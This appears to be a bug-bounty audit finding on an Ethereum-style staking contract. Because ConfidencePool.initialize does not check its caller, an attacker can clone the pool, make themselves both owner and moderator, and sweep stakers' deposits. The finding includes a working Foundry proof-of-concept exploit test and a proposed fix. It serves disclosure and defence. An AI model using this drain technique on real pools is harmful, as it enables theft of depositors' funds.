FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

`ConfidencePool.initialize` lacks caller authentication, allowing rogue clones that bypass all factory guards and self-deal the entire pool

Author Revealed upon completion

Description

ConfidencePool.initialize is external initializer but performs no caller authentication. The initializer modifier only blocks re-initialization of an already-initialized instance — it does not restrict who may perform the first initialization. Because ConfidencePoolFactory.poolImplementation is a public state variable, anyone can Clones.clone the implementation directly and call initialize, bypassing every guard that ConfidencePoolFactory.createPool enforces (stake-token allowlist, sponsor authorization, factory pause, and the hardcoded defaultOutcomeModerator). The rogue deployer appoints themselves as both pool owner and outcome moderator, then self-deals the entire pool via the good-faith CORRUPTED bounty path.

Vulnerability Detail

The missing auth check

ConfidencePool.initialize (src/ConfidencePool.sol:179-219) only validates its arguments (zero-address, expiry lead, min stake, agreement validity) — it never checks who is calling it:

function initialize(
address agreement_,
address stakeToken_,
address safeHarborRegistry_,
address outcomeModerator_,
uint256 expiry_,
uint256 minStake_,
address recoveryAddress_,
address owner_,
address[] calldata accounts
) external initializer {
if (agreement_ == address(0)) revert ZeroAddress();
// ... only value checks, no msg.sender auth ...
outcomeModerator = outcomeModerator_; // caller chooses the moderator
// ...
_transferOwnership(owner_); // caller chooses the owner
}

The initializer modifier (from OpenZeppelin's Initializable) prevents re-initialization of an already-initialized clone, but it does not restrict who performs the first initialization. Any caller can initialize a fresh clone.

The implementation is public

ConfidencePoolFactory.poolImplementation is declared address public (src/ConfidencePoolFactory.sol:24), so anyone can read the implementation address on-chain and clone it directly with OpenZeppelin's public Clones.clone:

IBattleChainSafeHarborRegistry public safeHarborRegistry;
address public poolImplementation; // anyone can read this
address public defaultOutcomeModerator;

Guards that exist only in createPool, not in initialize

ConfidencePoolFactory.createPool (src/ConfidencePoolFactory.sol:67-114) enforces four guards that initialize does not replicate:

Guard createPool location Present in initialize?
allowedStakeToken[stakeToken] allowlist line 77 No
IAgreement(agreement).owner() == msg.sender (sponsor auth) line 82 No
whenNotPaused (factory pause) line 74 No
Hardcoded defaultOutcomeModerator as the moderator line 95 No — caller supplies outcomeModerator_

By cloning the implementation directly and calling initialize, an attacker bypasses all four. The attacker also controls owner_, collapsing the sponsor/moderator trust separation that the factory enforces by passing msg.sender as owner and the DAO-controlled defaultOutcomeModerator as moderator.

The self-dealing path

Once the attacker owns a rogue clone and is its moderator, the good-faith CORRUPTED bounty path lets them drain the entire pool:

  1. The attacker stages CORRUPTED on their own agreement (agreement creation is permissionless on BattleChain — isAgreementValid only checks the agreement was factory-deployed, not who owns it).

  2. As the self-appointed moderator, the attacker calls flagOutcome(CORRUPTED, goodFaith=true, attacker=attackerSelf). This is accepted whenever the registry reads CORRUPTED (src/ConfidencePool.sol:347), and sets bountyEntitlement = snapshotTotalStaked + snapshotTotalBonus — the entire pool.

  3. The attacker calls claimAttackerBounty, which pays min(remaining, freeBalance) to attacker (src/ConfidencePool.sol:432-453) — sweeping the full pool balance to themselves within the 180-day claim window.

Impact

A rogue clone is indistinguishable from a factory-created pool at the bytecode level — both are EIP-1167 minimal proxies pointing at the same implementation. Any off-chain integration that constructs pools from ad-hoc addresses (rather than strictly enumerating ConfidencePoolFactory.getPoolsByAgreement) will treat the rogue clone as legitimate.

For any staker who deposits into a rogue clone:

  • Principal loss: the attacker, acting as moderator, self-deals the entire pool via the good-faith CORRUPTED bounty path. The staker's claimSurvived/claimExpired paths are foreclosed once outcome == CORRUPTED.

  • Bonus loss: the bonus pool is swept alongside the principal in the same claimAttackerBounty call.

  • Trust-separation break: the protocol's design assumes the pool owner (sponsor) and outcome moderator are different addresses (the factory hardcodes defaultOutcomeModerator precisely to enforce this). The rogue clone collapses them into one attacker-controlled address.

The attacker also bypasses the stake-token allowlist, so a rogue clone can accept fee-on-transfer or rebasing tokens that the factory natspec (src/ConfidencePoolFactory.sol:26-30) explicitly excludes because they "erode the pool balance below tracked liabilities and permanently lock later claims."

POC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
contract RogueCloneInitializeTest is Test {
uint256 internal constant ONE = 1e18;
uint256 internal constant MIN_STAKE = 100 * ONE;
address internal constant SCOPE_ACCOUNT = address(0xC0FFEE);
MockERC20 internal token;
MockAttackRegistry internal attackRegistry;
MockSafeHarborRegistry internal safeHarborRegistry;
MockAgreement internal agreementContract;
ConfidencePool internal roguePool;
address internal agreement;
address internal attacker = makeAddr("attacker");
address internal recovery = makeAddr("recovery");
address internal victim = makeAddr("victim");
function setUp() public {
vm.warp(1_750_000_000);
token = new MockERC20();
attackRegistry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry();
// Attacker owns the agreement — agreement creation is permissionless on BattleChain.
agreementContract = new MockAgreement(attacker);
agreement = address(agreementContract);
agreementContract.setContractInScope(SCOPE_ACCOUNT, true);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(agreement, true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
// === THE BYPASS ===
// No ConfidencePoolFactory is deployed or invoked. The attacker clones the
// implementation directly and calls initialize — which has no caller-auth check.
ConfidencePool implementation = new ConfidencePool();
roguePool = ConfidencePool(Clones.clone(address(implementation)));
address[] memory accounts = new address[](1);
accounts[0] = SCOPE_ACCOUNT;
vm.prank(attacker);
roguePool.initialize(
agreement,
address(token),
address(safeHarborRegistry),
attacker, // outcomeModerator_ = attacker (factory would hardcode defaultOutcomeModerator)
block.timestamp + 31 days,
MIN_STAKE,
recovery,
attacker, // owner_ = attacker (sponsor == moderator here — trust separation defeated)
accounts
);
}
function testRogueCloneSweepsEntirePool() public {
uint256 stakeAmount = 500 * ONE;
uint256 bonusAmount = 200 * ONE;
// 1. Victim is lured to stake into the rogue clone.
token.mint(victim, stakeAmount);
vm.startPrank(victim);
token.approve(address(roguePool), stakeAmount);
roguePool.stake(stakeAmount);
vm.stopPrank();
// 2. Bonus contributor donates (increases the pool the attacker will sweep).
token.mint(address(this), bonusAmount);
token.approve(address(roguePool), bonusAmount);
roguePool.contributeBonus(bonusAmount);
assertEq(token.balanceOf(address(roguePool)), stakeAmount + bonusAmount);
// 3. Attacker stages CORRUPTED on their own agreement.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.prank(attacker);
roguePool.pokeRiskWindow();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
// 4. Attacker, as the self-appointed moderator, flags good-faith CORRUPTED
// naming themselves as the whitehat.
vm.prank(attacker);
roguePool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
assertEq(uint8(roguePool.outcome()), uint8(PoolStates.Outcome.CORRUPTED));
assertEq(roguePool.bountyEntitlement(), stakeAmount + bonusAmount);
// 5. Attacker claims the bounty — sweeps the entire pool to themselves.
uint256 attackerBefore = token.balanceOf(attacker);
vm.prank(attacker);
roguePool.claimAttackerBounty();
uint256 attackerAfter = token.balanceOf(attacker);
assertEq(attackerAfter - attackerBefore, stakeAmount + bonusAmount, "attacker swept entire pool");
assertEq(token.balanceOf(address(roguePool)), 0, "pool drained");
}
}
forge test --match-test testRogueCloneSweepsEntirePool -vv
[PASS] testRogueCloneSweepsEntirePool() (gas: 578777)

The attacker sweeps the entire 700-token pool (500 principal + 200 bonus) with no factory involvement and no privileged role beyond what they granted themselves via the unauthenticated initialize call.


Mitigation

Add caller authentication to ConfidencePool.initialize so that only the designated factory can initialize a clone. The cleanest approach is to store the factory address in the implementation and require msg.sender == factory:

address public immutable factory;
constructor() {
factory = msg.sender;
}
function initialize(...) external initializer {
if (msg.sender != factory) revert UnauthorizedInitializer();
// ... existing checks ...
}

Since ConfidencePool is deployed once by the factory (or by the factory owner) and then cloned, factory is baked into the implementation bytecode at deployment time. Clones inherit the same factory value, so only the legitimate factory's createPool can initialize them. A direct Clones.clone + initialize call from any other address reverts.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!